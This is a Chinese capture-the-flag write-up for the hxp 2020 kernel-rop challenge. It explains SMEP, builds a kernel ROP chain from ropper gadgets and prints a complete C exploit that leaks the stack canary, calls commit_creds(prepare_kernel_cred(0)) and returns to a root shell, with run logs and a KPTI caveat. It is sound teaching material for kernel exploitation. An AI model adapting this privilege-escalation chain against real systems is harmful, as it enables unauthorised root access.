0002-TIPS-2020-hxp-kernel-rop : bypass-smep-with-rop

news/2024/11/7 18:49:47/

使用的开始上一节中的pwn题

SMEP (Supervisor Mode Execution Prevention)

SMEP安全机制:禁止在执行内核空间代码时突然执行用户空间代码。类似 NX。
在没有开启SMEP的情况下,攻击者将rip或者函数指针指向了用户空间,可在用户空间布局shellcode,从而提权。
但是,在开启SMEP后,内核执行用户空间的shellcode,将导致崩溃

char *shellcode = mmap(用户空间特定地址 & 0xfffffffffffff000ul, 0x1000, PROT_READ|PROT_WRITE|PROT_EXECUTE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);  memcpy(shellcode, SHELLCODE, sizeof(SHELLCODE));  control_rip(shellcode); // RIP = shellcode

SMEP 是一种硬件安全机制。通过设置 CR4 寄存器的第 21 位启用 SMEP。

可以在qemu运行参数启用SMEP

-cpu kvm64,+smep

在进入内核后,可以通过查看 /proc/cpuinfo 确认是否启用了SMEP

cat /proc/cpuinfo | grep smep

将上一节中的启动脚本修改为如下形式

#!/bin/sh
qemu-system-x86_64 \-m 1024M \-cpu kvm64,+smep \-kernel vmlinuz \-initrd initramfs.cpio.gz \-hdb flag.txt \-snapshot \-nographic \-monitor /dev/null \-no-reboot \-append "console=ttyS0 nopti nokaslr quiet panic=1"

ROP

ROP(Return-Oriented Programming, 返回导向编程)
通俗理解,就是通过栈溢出的漏洞,覆盖return address,从而达让直行程序反复横跳的一种技术。
参考这篇文章:https://blog.csdn.net/qq_31343581/article/details/119996405

一般来说,理解如下指令(观察栈的变化和rip的变化),就能快速理解rop

  • ret指令
  • call指令
  • 函数的首地址
  • pop/push指令
  • pop/push指令 + ret
  • 一般性指令 + ret

在该题目中,通过内核栈溢出,将rop提权指令写入到内核栈中,使得提权代码在内核空间运行,从而绕过smep。

拼接ROP指令

从上一节中我们先覆盖的是canary,然后再覆盖返回地址,进而跳转到提权代码处,提权代码大致流程是

1commit_creds(prepare_kernel_cred (0));2】swapgs
【3】ss/sp/rflags/cs/rip
【4】iretq

现在需要从内核文件中,找出相关的汇编语句拼接出如上的提权语句

准备ROP

通过 vmlinux-to-elf 将 压缩有的内核文件vmlinuz转换为未压缩的elf格式文件vmlinux_original

vmlinux-to-elf vmlinuz vmlinux_original

通过ropper提取出vmlinux_original中的rop汇编语句

# 安装ropper
pip3 install ropper
ropper --file ./vmlinux_original  --nocolor > rop.txt

构造 【1】commit_creds(prepare_kernel_cred (0));

首先需要知道,在x64汇编中

  • 通过rdi,rsi,rdx,rcx,r8,r9来保存函数的第1~第6个参数
  • 函数的返回值存储在rax中

那就可以将【1】commit_creds(prepare_kernel_cred (0));拆解为

1-1】将0存储到rdi中
【1-2】调用prepare_kernel_cred,此时prepare_kernel_cred (0)的结果存储在rax中
【1-3】将rax中的内容复制到rdi中
【1-4】调用commit_creds

【1-1】将0存储到rdi中

rop是灵活的,没有固定的公式;只要拼接的rop链合乎语义就行
可以使用

pop rdi ; ret;
0

或者使用

xor rdi, rdi ; ret;

再或者

pop rax ; pop rcx ; pop rdi ;ret
0
0
0

【1-2】调用prepare_kernel_cred,此时prepare_kernel_cred (0)的结果存储在rax中

pop rdi ; ret;
0
prepare_kernel_cred的地址

【1-3】将rax中的内容复制到rdi中

pop rdi ; ret;
0
prepare_kernel_cred的首地址
mov rdi, rax ; ret;

【1-4】调用commit_creds

pop rdi ; ret;
0
prepare_kernel_cred的首地址
mov rdi, rax ; ret;
commit_creds的首地址

拼凑

获取 pop rdi; ret;

root@555bcb073c53:~/kernel-rop# cat rop.txt | grep ": pop rdi; ret;"
0xffffffff81006370: pop rdi; ret;

现在rop为

0xffffffff81006370 #pop rdi; ret;
0

获取commit_creds的地址

/ # cat /proc/kallsyms | grep "prepare_kernel_cred"
ffffffff814c67f0 T prepare_kernel_cred

现在rop为

0xffffffff81006370 #pop rdi; ret;
0
0xffffffff814c67f0 # prepare_kernel_cred

获取mov rdi, rax语句,将commit_creds的结果转换为prepare_kernel_cred的参数

~/kernel-rop# cat rop.txt | grep ": mov rdi, rax; " | grep -v "call" | grep -v "j"
0xffffffff818f8495: mov rdi, rax; mov qword ptr [rdi], 1; pop rbp; ret;
0xffffffff816bf203: mov rdi, rax; mov qword ptr [rsi + 0x140], rdi; pop rbp; ret;
0xffffffff8100aedf: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; pop rbp; ret;

为了在mov rdi, rax执行之后,不再影响rdi的值,这里选取0xffffffff816bf203,又由于0xffffffff816bf203中存在pop rbp这个语句,还需要在rop中填充内容,将这个pop无害化掉
现在rop为

0xffffffff81006370 #pop rdi; ret;
0
0xffffffff814c67f0 # prepare_kernel_cred
0xffffffff816bf203 # mov rdi, rax; mov qword ptr [rsi + 0x140], rdi; pop rbp; ret;
0

获取prepare_kernel_cred的地址

# cat /proc/kallsyms | grep "commit_creds"
ffffffff814c6410 T commit_creds

现在rop为

0xffffffff81006370 #pop rdi; ret;
0
0xffffffff814c67f0 # prepare_kernel_cred
0xffffffff816bf203 # mov rdi, rax; mov qword ptr [rsi + 0x140], rdi; pop rbp; ret;
0
0xffffffff814c6410 # commit_creds

构造 【2】swapgs

~/kernel-rop# cat rop.txt | grep ": swapgs"
0xffffffff8100a55f: swapgs; pop rbp; ret;
0xffffffff8100a557: swapgs; rdgsbase rax; swapgs; pop rbp; ret;
0xffffffff8100a590: swapgs; wrgsbase rdi; swapgs; pop rbp; ret;

这里选取0xffffffff8100a55f,又由于存在pop rbp这个语句,还需要在rop中填充内容,将这个pop无害化掉
现在rop为

0xffffffff81006370 #pop rdi; ret;
0
0xffffffff814c67f0 # prepare_kernel_cred
0xffffffff816bf203 # mov rdi, rax; mov qword ptr [rsi + 0x140], rdi; pop rbp; ret;
0
0xffffffff814c6410 # commit_creds
0xffffffff8100a55f # swapgs; pop rbp; ret;
0

构造【3】ss/sp/rflags/cs/rip【4】iretq

由于rop本身就是在内核栈中,ss/sp/rflags/cs/rip可以直接填写在内核栈中
这里需要先将iretq放入rop中,且ss/sp/rflags/cs/rip需要紧紧挨着iretq

  • 因为iretq本身就是返回指令,无论其后跟了多少pop指令,这些指令都不执行
  • iretq执行完毕后,栈顶就是需要按顺序弹出的rip/cs/rflags/sp/ss
:~/kernel-rop# cat rop.txt | grep ": iretq"
0xffffffff8229cffc: iretq; add byte ptr [r11], al; call 0x149cd04; xor eax, eax; pop rbp; ret;
0xffffffff819c68b6: iretq; add byte ptr [rax - 0x77], cl; adc ebx, dword ptr [rbx + 0x41]; pop rsp; pop rbp; ret;
0xffffffff814390cf: iretq; add rsp, 0x10; pop rbx; pop r12; pop rbp; ret;
0xffffffff81677f71: iretq; cwde; call qword ptr [rbp + 0x48];
0xffffffff8225e3af: iretq; dec dword ptr [rax + 1]; ret 0xd689;
0xffffffff814381cb: iretq; pop rbp; ret;
0xffffffff815e56c4: iretq; sub eax, 0x89c08500; ret 0x880f;
0xffffffff81bb3cb3: iretq; test bh, bh; pop rbx; pop rbp; ret;
0xffffffff81f76df0: iretq; xchg eax, edi; call qword ptr [rbp - 0x31];
0xffffffff81b838ad: iretq; xlatb; dec dword ptr [rax - 0x68]; pop rbp; ret;

这里选择0xffffffff819c68b6这条最长的iretq指令作为rop,来验证iretq后面跟什么内容都无所谓

0xffffffff81006370 #pop rdi; ret;
0
0xffffffff814c67f0 # prepare_kernel_cred
0xffffffff816bf203 # mov rdi, rax; mov qword ptr [rsi + 0x140], rdi; pop rbp; ret;
0
0xffffffff814c6410 # commit_creds
0xffffffff8100a55f # swapgs; pop rbp; ret;
0
0xffffffff819c68b6 #iretq; add byte ptr [rax - 0x77], cl; adc ebx, dword ptr [rbx + 0x41]; pop rsp; pop rbp; ret;
user_rip
user_sp
user_rflags
user_sp
user_ss

最终EXP

#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>char *VULN_DRV = "/dev/hackme";
void spawn_shell();int64_t global_fd = 0;
uint64_t cookie = 0;
uint8_t cookie_off = 16;uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t prepare_kernel_cred = 0xffffffff814c67f0;
uint64_t commit_creds = 0xffffffff814c6410;
uint64_t user_rip = (uint64_t) spawn_shell;
uint64_t pop_rdi_ret = 0xffffffff81006370;
uint64_t mov_rdi_rax_and_pop1_ret = 0xffffffff816bf203;
uint64_t swapgs_pop1_ret = 0xffffffff8100a55f;
uint64_t iretq = 0xffffffff819c68b6;void open_dev() {global_fd = open(VULN_DRV, O_RDWR);if (global_fd < 0) {printf("[!] failed to open %s\n", VULN_DRV);exit(-1);} else {printf("[+] successfully opened %s\n", VULN_DRV);}
}void leak_cookie() {uint8_t sz = 40;uint64_t leak[sz];printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak));uint64_t data = read(global_fd, leak, sizeof(leak));cookie = leak[cookie_off];printf("[+] found stack canary: 0x%lx @ index %d\n", cookie, cookie_off);if(!cookie) {puts("[-] failed to leak stack canary!");exit(-1);}
}void spawn_shell() {puts("[+] returned to user land");uid_t uid = getuid();if (uid == 0) {printf("[+] got root (uid = %d)\n", uid);} else {printf("[!] failed to get root (uid: %d)\n", uid);exit(-1);}puts("[*] spawning shell");system("/bin/sh");exit(0);
}void save_userland_state() {puts("[*] saving user land state");__asm__(".intel_syntax noprefix;""mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;"".att_syntax");
}void overwrite_ret() {puts("[*] trying to overwrite return address with ROP chain");uint8_t sz = 50;uint64_t payload[sz];payload[cookie_off++] = cookie;payload[cookie_off++] = 0x0;payload[cookie_off++] = 0x0;payload[cookie_off++] = 0x0;payload[cookie_off++] = pop_rdi_ret; // return addresspayload[cookie_off++] = 0x0;payload[cookie_off++] = prepare_kernel_cred;payload[cookie_off++] = mov_rdi_rax_and_pop1_ret;payload[cookie_off++] = 0x0;payload[cookie_off++] = commit_creds;payload[cookie_off++] = swapgs_pop1_ret;payload[cookie_off++] = 0x0;payload[cookie_off++] = iretq;payload[cookie_off++] = user_rip;payload[cookie_off++] = user_cs;payload[cookie_off++] = user_rflags;payload[cookie_off++] = user_sp;payload[cookie_off++] = user_ss;uint64_t data = write(global_fd, payload, sizeof(payload));puts("[-] if you can read this we failed the mission :(");
}int main(int argc, char **argv) {open_dev();leak_cookie();save_userland_state();overwrite_ret();return 0;
}

效果

/ $ ./04_exploit_bypass_smep
[+] successfully opened /dev/hackme
[*] trying to leak up to 320 bytes memory
[+] found stack canary: 0x72ad2e60ba25b400 @ index 16
[*] saving user land state
[*] trying to overwrite return address with ROP chain
[+] returned to user land
[+] got root (uid = 0)
[*] spawning shell
/ #

一个小问题

在该题中,如果启动脚本如下,没有显示禁用KPTI,运行exp会报错
启动脚本如下

#!/bin/sh
qemu-system-x86_64 \-m 128M \-cpu kvm64,+smep,+smap \-kernel vmlinuz \-initrd initramfs.cpio.gz \-hdb flag.txt \-snapshot \-nographic \-monitor /dev/null \-no-reboot \-append "console=ttyS0 nokaslr kpti=1 quiet panic=1"

报错如下

/ $ ./04_exploit_bypass_smep
[+] successfully opened /dev/hackme
[*] trying to leak up to 320 bytes memory
[+] found stack canary: 0xb1b7bdeffa2b1200 @ index 16
[*] saving user land state
[*] trying to overwrite return address with ROP chain
Segmentation fault

因为该内核默认编译启用了KPTI,可以通过如下命令查看

/ # cat /sys/devices/system/cpu/vulnerabilities/*
Processor vulnerable
Mitigation: PTE Inversion
Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown
Mitigation: PTI
Vulnerable
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, STIBP: disabled, RSB filling
Not affected
Not affected

如果查看不了,需要在文件系统的启动脚本中挂载sysfs
/etc/init.d/rcS中添加如下内容

mkdir -p /sys  && mount -t sysfs sysfs /sys

因此需要将启动脚本中添加nopti

-append "console=ttyS0 nopti nokaslr quiet panic=1"

http://www.ppmy.cn/news/456172.html

相关文章

SpringMvc详解

SpringMvc用来代替展示层Servlet&#xff0c;均属于Web层开发技术 Servlet是如何工作的 1、导入Servlet依赖坐标 2、创建一个Servlet接口实现类&#xff0c;重写其中的所有方法 3、在Servlet实现类上加上WebServlet注解&#xff0c;用来配置Servlet访问路径 4、启动Tomca…

Mysql索引、事务以及存储引擎

目录 一、索引 1.概述 2.作用 3.索引的缺点 4.创建索引的原则依据 5.索引分类和创建 5.1普通索引 5.2唯一索引 5.3主键索引 5.4组合索引&#xff08;单列索引与多列索引&#xff09; 5.5全文索引&#xff08;FULLTEXT&#xff09; 6.查看索引 7.删除索引 二、事务…

oppo服务器是网络运营商的吗,三大运营商慌了!OPPO宣布“无网络通信技术”,可绕开基站控制?...

原标题&#xff1a;三大运营商慌了&#xff01;OPPO宣布“无网络通信技术”&#xff0c;可绕开基站控制&#xff1f; 在通信领域&#xff0c;国内一直以移动、联通、电信三大运营商最为权威。让我们轻松实现了通话、上网和发短信等功能。 尽管现在的网络范围已经足够广&#xf…

oppo服务器暂时不可用,oppo手机网络连接不可用是怎么回事

大家好&#xff0c;我是时间财富网智能客服时间君&#xff0c;上述问题将由我为大家进行解答。 oppo手机网络连接不可用的原因如下&#xff1a; 1、手机欠费了。联系运营商确认手机SIM卡开通了上网功能或是否欠费。 2、确保数据网络开关打开&#xff0c;重启手机后尝试是否可以…

oppo android多大内存,OPPO R9s Plus的内存容量是多少?运存是多少?

OPPO R9s Plus的内存容量是多少 OPPO R9s Plus的内存容量是64GB。 根据提供的消息资料&#xff0c;就能了解到OPPO R9s Plus的内存容量是多少。在拍照方面&#xff0c;R9s Plus采用了OPPO 与索尼联合研发的1600万像素IMX398传感器&#xff0c;其创新的双核对焦技术&#xff0c;…

oppo锁频段_给大家科普下现在的OPPO Reno3支持哪几个5G频段

现在越来越多的手机用户对于OPPO Reno3支持哪几个5G频段这方面的问题开始感兴趣&#xff0c;因为大家现在都是想要熟知&#xff0c;应用到手机的各项功能&#xff0c;那么既然现在大家都想要知道OPPO Reno3支持哪几个5G频段&#xff0c;尧哥今天就来给大家针对这样的问题做个科…

联通大数据出炉:OPPO手机强势表现,华为苹果也要让三分

近日最吸引眼球的莫过于中国联通合作伙伴大会&#xff0c;在这次大会上不仅仅亮相了5G技术&#xff0c;并且展示了5G时代高速低延迟的便捷&#xff0c;与此同时在大会上中国联通公布了终端大数据和质量报告&#xff0c;这份数据一经公布在手机行业也引起了轩然大波。 今年在5G建…

失去5G先机或致OPPO走向衰落

10月初&#xff0c;OPPO发布了两款新机&#xff0c;Reno Ace和K5&#xff0c;它们都是4G手机。在主流手机厂商都在抢发5G手机的当口 &#xff0c;OPPO的缺席着实让人感到疑惑。 OPPO为何不推5G手机&#xff1f;是它在5G方面落后了吗&#xff1f; 国产手机4强&#xff0c;唯OP…